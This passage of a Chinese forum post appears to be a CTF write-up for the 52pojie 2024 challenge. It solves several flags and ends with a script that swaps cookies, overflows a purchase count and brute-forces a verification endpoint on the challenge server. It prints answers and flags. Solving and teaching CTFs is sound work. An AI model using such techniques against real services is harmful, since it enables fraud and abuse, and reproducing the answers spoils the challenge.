        y2 = 427.5662592752474 + 0.6121410139677127 * i + 1.9485864366522536 * j
        dx = x2 - x1
        dy = y2 - y1
        if isok(dx) and isok(dy):
            print(i,j)

只得到 71/20 这一个解,填入 html 并用浏览器打开后可在图片上看到 flag11{HPQfVF}。

(似乎很多人手完即可QAQ)

flag12

阅读js代码知:输入secret传入wasm,基于wasm的返回可显示flag12。

wasm 很小,可用 wabt 转成 c 代码阅读。将看到的约束条件丢 z3 可知输入应为 4005161829。

输入该值后,网页显示 flag12{HOXI}。

flagC

阅读js代码知:可跳过模型部分,改为直接与服务器交互。

根据提示确定正确的数量是4,而给的例子中已有4中不同种类的提示“种类正确”的物品。

猜测所有正确位置均可以是示例中的某个物品的位置,因此编写代码逐个爆破,发现可以得到解。

代码如下:

async function test(inp) {
    let res = await fetch("https://2024challenge.52pojie.cn/flagC/verify", {
        "headers": {
            "content-type": "application/json"
        },
        "referrer": "https://2024challenge.52pojie.cn/flagC/index.html",
        "body": JSON.stringify(inp),
        "method": "POST",
    });
    let ret = await res.json();
    console.log(ret);
    return ret;
}
test({"boxes":[0.0071830302476882935,0.5186262726783752,0.4009798765182495,0.6479262709617615,0.04319196939468384,0.0257604718208313,0.2734942138195038,0.4855906367301941,0.7787966132164001,0.2953517735004425,0.9544114470481873,0.45228806138038635,0.40771162509918213,0.5121312737464905,0.7820707559585571,0.7769460082054138],"scores":[0.8548367619514465,0.7646901607513428,0.6844016909599304,0.42119961977005005],"classes":[3,1,8,4]}).then(v => console.log(v.hint.split(' ')[0])); // bingo answer
function split(v) {
    let {boxes, scores, classes} = v;
    let ret = [];
    for (let i = 0; i < scores.length; i++) {
        ret.push({
            box: boxes.slice(i * 4, i * 4 + 4),
            score: scores[i],
            class: classes[i],
        });
    }
    return ret;
}
function glue(v) {
    let boxes = [], scores = [], classes = [];
    for (let i = 0; i < v.length; i++) {
        let {box, score, class: cls} = v[i];
        boxes.push(...box);
        scores.push(score);
        classes.push(cls);
    }
    return {boxes, scores, classes};
}
let x = split({"boxes":[0.0071830302476882935,0.5186262726783752,0.4009798765182495,0.6479262709617615,0.40771162509918213,0.5121312737464905,0.7820707559585571,0.7769460082054138,0.3125038146972656,0.22943750023841858,0.728165864944458,0.46270015835762024,0.002122640609741211,0.8341933488845825,0.3802390992641449,0.9994925260543823,0.8375666737556458,0.6610859632492065,0.9833332896232605,0.9978412389755249,0.46407967805862427,0.7901232838630676,0.7629221081733704,0.9946883320808411,0.5860870480537415,0.015289496630430222,0.6056223511695862,0.05522865429520607,0.49284374713897705,0.019939623773097992,0.5142461061477661,0.06407386064529419,0.7947754263877869,0.4549929201602936,0.9924988150596619,0.638464093208313,0.7654308676719666,0.03613254427909851,0.9887222647666931,0.2596513032913208,0.04319196939468384,0.0257604718208313,0.2734942138195038,0.4855906367301941,0.7787966132164001,0.2953517735004425,0.9544114470481873,0.45228806138038635,0.41201093792915344,0.03150711581110954,0.42948994040489197,0.07240761816501617,0.01391458511352539,0.6711101531982422,0.41128668189048767,0.8037518262863159],"scores":[0.8933815360069275,0.8905048966407776,0.884631872177124,0.8726911544799805,0.8570783138275146,0.8548367619514465,0.8514702916145325,0.8206561803817749,0.8038726449012756,0.7646901607513428,0.7232488393783569,0.6844016909599304,0.6817193031311035,0.42119961977005005],"classes":[2,5,7,6,10,3,9,9,15,1,0,8,9,4]});
let y = [x[5],x[9],x[11],x[13]].map(v => JSON.parse(JSON.stringify(v)));
for (let i of x) {
    y[0].box = i.box;
    if ((await test(glue(y))).labels[0] === "motorcycle 种类正确 位置正确") {
        break;
    }
}
for (let i of x) {
    y[1].box = i.box;
    if ((await test(glue(y))).labels[1] === "bicycle 种类正确 位置正确") {
        break;
    }
}
for (let i of x) {
    y[3].box = i.box;
    if ((await test(glue(y))).labels[3] === "airplane 种类正确 位置正确") {
        break;
    }
}
// 正确数量 4
/*
0: "car 种类错误"
1: "bus 种类错误"
2: "truck 种类错误"
3: "train 种类错误"
4: "fire hydrant 种类错误"
5: "motorcycle 种类正确 位置错误"
6: "traffic light 种类错误"
7: "traffic light 种类错误"
8: "cat 种类错误"
9: "bicycle 种类正确 位置错误"
10: "person 种类错误"
11: "boat 种类正确 位置正确"
12: "traffic light 种类错误"
13: "airplane 种类正确 位置错误"
*/

flags all

一次性获得所有 flag 的脚本

const { runAI } = require('./2048ai');

async function main(uid_value) {
    let resp = await fetch("https://2024challenge.52pojie.cn/auth/login", {
        "headers": {
            "content-type": "application/x-www-form-urlencoded"
        },
        "body": "uid=" + uid_value,
        "method": "POST",
        "redirect": "manual",
    });
    let uid = resp.headers.getSetCookie().filter(v => v.startsWith('uid='))[0].split(';')[0].slice(4);
    // flagA
    let flagA = resp.headers.getSetCookie().filter(v => v.startsWith('flagA='))[0].split(';')[0].slice(6);
    let resp2 = await fetch("https://2024challenge.52pojie.cn/auth/uid", {
        "method": "GET",
        "headers": {
            "cookie": `uid=${flagA}`
        }
    });
    console.log('A:', await resp2.text(), 'flag1{52pj2024} flag2{xHOpRP} flag3{GRsgk2} flag4{YvJZNS}');
    // flagB
    const session = await runAI(uid, money => money >= 10, 0, false);
    /* calc way:
from z3 import *
v = BitVec('a', 64)
s=Solver()
s.add(v>0)
s.add(999063388*v<10)
s.add(999063388*v>0)
s.check()
print(s.model())
    */
    let cnt = '3952873735356057550';
    resp = await session.fetch('/flagB/buy_item', {method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: `shop_item_id=${encodeURIComponent(5)}&buy_count=${encodeURIComponent(cnt)}`});
    await resp.text();
    resp = await session.fetch('/flagB/use_item', {method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: `item_id=${encodeURIComponent(5)}`});
    console.log('B:', (await resp.json()).data.split(' ')[0], 'flag5{P3prqF} flag6{20240217} flag7{Djl9NQ} flag8{OaOjIK}');

    // flagC
    async function test(inp) {
        let res = await fetch("https://2024challenge.52pojie.cn/flagC/verify", {
            "headers": {
                "content-type": "application/json",
                "cookie": `uid=${uid}`
            },
            "referrer": "https://2024challenge.52pojie.cn/flagC/index.html",
            "body": JSON.stringify(inp),
            "method": "POST",
        });
        let ret = await res.json();
        return ret;
    }
    await test({"boxes":[0.0071830302476882935,0.5186262726783752,0.4009798765182495,0.6479262709617615,0.04319196939468384,0.0257604718208313,0.2734942138195038,0.4855906367301941,0.7787966132164001,0.2953517735004425,0.9544114470481873,0.45228806138038635,0.40771162509918213,0.5121312737464905,0.7820707559585571,0.7769460082054138],"scores":[0.8548367619514465,0.7646901607513428,0.6844016909599304,0.42119961977005005],"classes":[3,1,8,4]}).then(v => console.log('C:', v.hint.split(' ')[0], 'flag9{KHTALK} flag10{6BxMkW} flag11{HPQfVF} flag12{HOXI}'));
}

main(691872);

附件.zip

47.91 KB, 下载次数: 74, 下载积分: 吾爱币 -1 CB

免费评分

参与人数 77威望 +3 吾爱币 +188 悬赏值 +1 热心值 +75 收起 理由
笙若 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
jesssy + 1 + 1 用心讨论,共获提升!
youshenpaicheng + 1 + 1 我很赞同!
chiniguai + 1 + 1 我很赞同!
hopecolor514 + 1 我很赞同!
xiong256824 + 1 我很赞同!
linden007x + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
Fxizenta + 1 + 1 谢谢@Thanks!
qq467365124 + 1 热心回复!
cvhey + 1 + 1 我很赞同!
anan28 + 1 + 1 用心讨论,共获提升!
wananxinlian + 1 我很赞同!
Sakura0322 + 1 用心讨论,共获提升!
jz4128 + 1 + 1 我很赞同!
ymaxg + 1 + 1 我很赞同!
chenning1425 + 1 + 1 谢谢@Thanks!
DasSchloss + 1 + 1 太强了!
WeiDD5233 + 1 + 1 用心讨论,共获提升!
yuxuan1311 + 1 + 1 我很赞同!
minppo + 1 + 1 我很赞同!
Yc666 + 1 + 1 用心讨论,共获提升!
wxl1995 + 1 + 1 谢谢@Thanks!
LANsanchengxing + 1 + 1 用心讨论,共获提升!
HUZM + 1 我很赞同!
jk006 + 1 + 1 我很赞同!
tianman + 1 谢谢@Thanks!
linjiehui + 1 + 1 谢谢@Thanks!
kavxc + 1 用心讨论,共获提升!
gouzi123 + 1 + 1 谢谢@Thanks!
长得太帅怪我咯^ + 2 + 1 我很赞同!
culprit + 1 + 1 谢谢@Thanks!
wang380006 + 1 + 1 谢谢@Thanks!
dsanke + 1 + 1 请收下我的膝盖!
jackyyue_cn + 1 + 1 谢谢@Thanks!
a2258555 + 1 + 1 谢谢@Thanks!
mhh + 1 + 1 谢谢@Thanks!
xinjun_ying + 1 + 1
rep3 + 1 + 1 谢谢@Thanks!
RippleSky + 1 + 1 热心回复!
443172887 + 1 + 1 我很赞同!
TES286 + 2 + 1 用心讨论,共获提升!
HUAJIEN + 1 + 1 我很赞同!
一弍彡亖乄 + 1 + 1 我很赞同!
mcpan + 1 + 1 谢谢@Thanks!
wystudio + 2 + 1 用心讨论,共获提升!
qcz00622 + 1 + 1 谢谢@Thanks!
coder9527 + 1 + 1 我很赞同!
hyxlovemfl + 1 + 1 我很赞同!
唐小样儿 + 1 + 1 我很赞同!
毛新航 + 1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
frx178 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
52pojieplayer + 1 + 1 谢谢@Thanks!
Sayon + 2 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
hellozl + 1 + 1 用心讨论,共获提升!
Huibq120 + 1 + 1 牛逼!!!
雨落惊鸿, + 1 + 1 谢谢@Thanks!
leaf0125 + 1 + 1 用心讨论,共获提升!
eec + 2 + 1 谢谢@Thanks!
黄色土豆 + 1 + 1 牛逼
xiaolong23330 + 1 + 1 用心讨论,共获提升!
X1a0 + 1 + 1 谢谢@Thanks!
woyucheng + 1 + 1 谢谢@Thanks!
javacafe + 2 + 1 用心讨论,共获提升!
nonefree + 1 + 1 我很赞同!
zhyerh + 1 + 1 谢谢@Thanks!
侃遍天下无二人 + 4 + 1 谢谢@Thanks!
世忘nb + 1 + 1 谢谢@Thanks!
solly + 3 + 1 我很赞同!
gunxsword + 1 + 1 nb
伤城幻化 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
qtfreet00 + 3 + 100 + 1 + 1 牛逼
我是不会改名的 + 4 + 1 太强了
zhangbaida + 3 + 1 我很赞同!
debug_cat + 2 + 1 大佬牛
pp67868450 + 1 用心讨论,共获提升!
不知道改成啥 + 3 + 1 用心讨论,共获提升!
一夜梦惊人 + 2 + 1 用心讨论,共获提升!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

Hmily 发表于 2024-3-8 10:20
解题领红包全能榜唯一一人,牛!
BMK 发表于 2024-3-13 10:31
请问windows高级题,对应变量是怎么dump下来的呢,我unlicense后的程序无法/RegServer。通过注册源服务端后调试客户端难以定位check函数无法dump对应内存。请大佬们解惑
不知道改成啥 发表于 2024-3-8 09:23
debug_cat 发表于 2024-3-8 09:49
Android的高级题太难了吧,根本看不懂啊。。
橙子橙丶 发表于 2024-3-8 10:55
感谢分享 支持支持
javacafe 发表于 2024-3-8 14:58
感谢分享,真是太强了!!!

免费评分

参与人数 1吾爱币 +1 热心值 +1 收起 理由
EVLaity + 1 + 1 用心讨论,共获提升!

查看全部评分

deffedyy 发表于 2024-3-8 15:17
真是太强了!!!
rgzn 发表于 2024-3-8 15:42
感谢分享 支持支持
dymt 发表于 2024-3-8 16:58
感谢大佬解疑
nightshift 发表于 2024-3-8 19:27
膜拜大佬
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-12-23 00:13

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表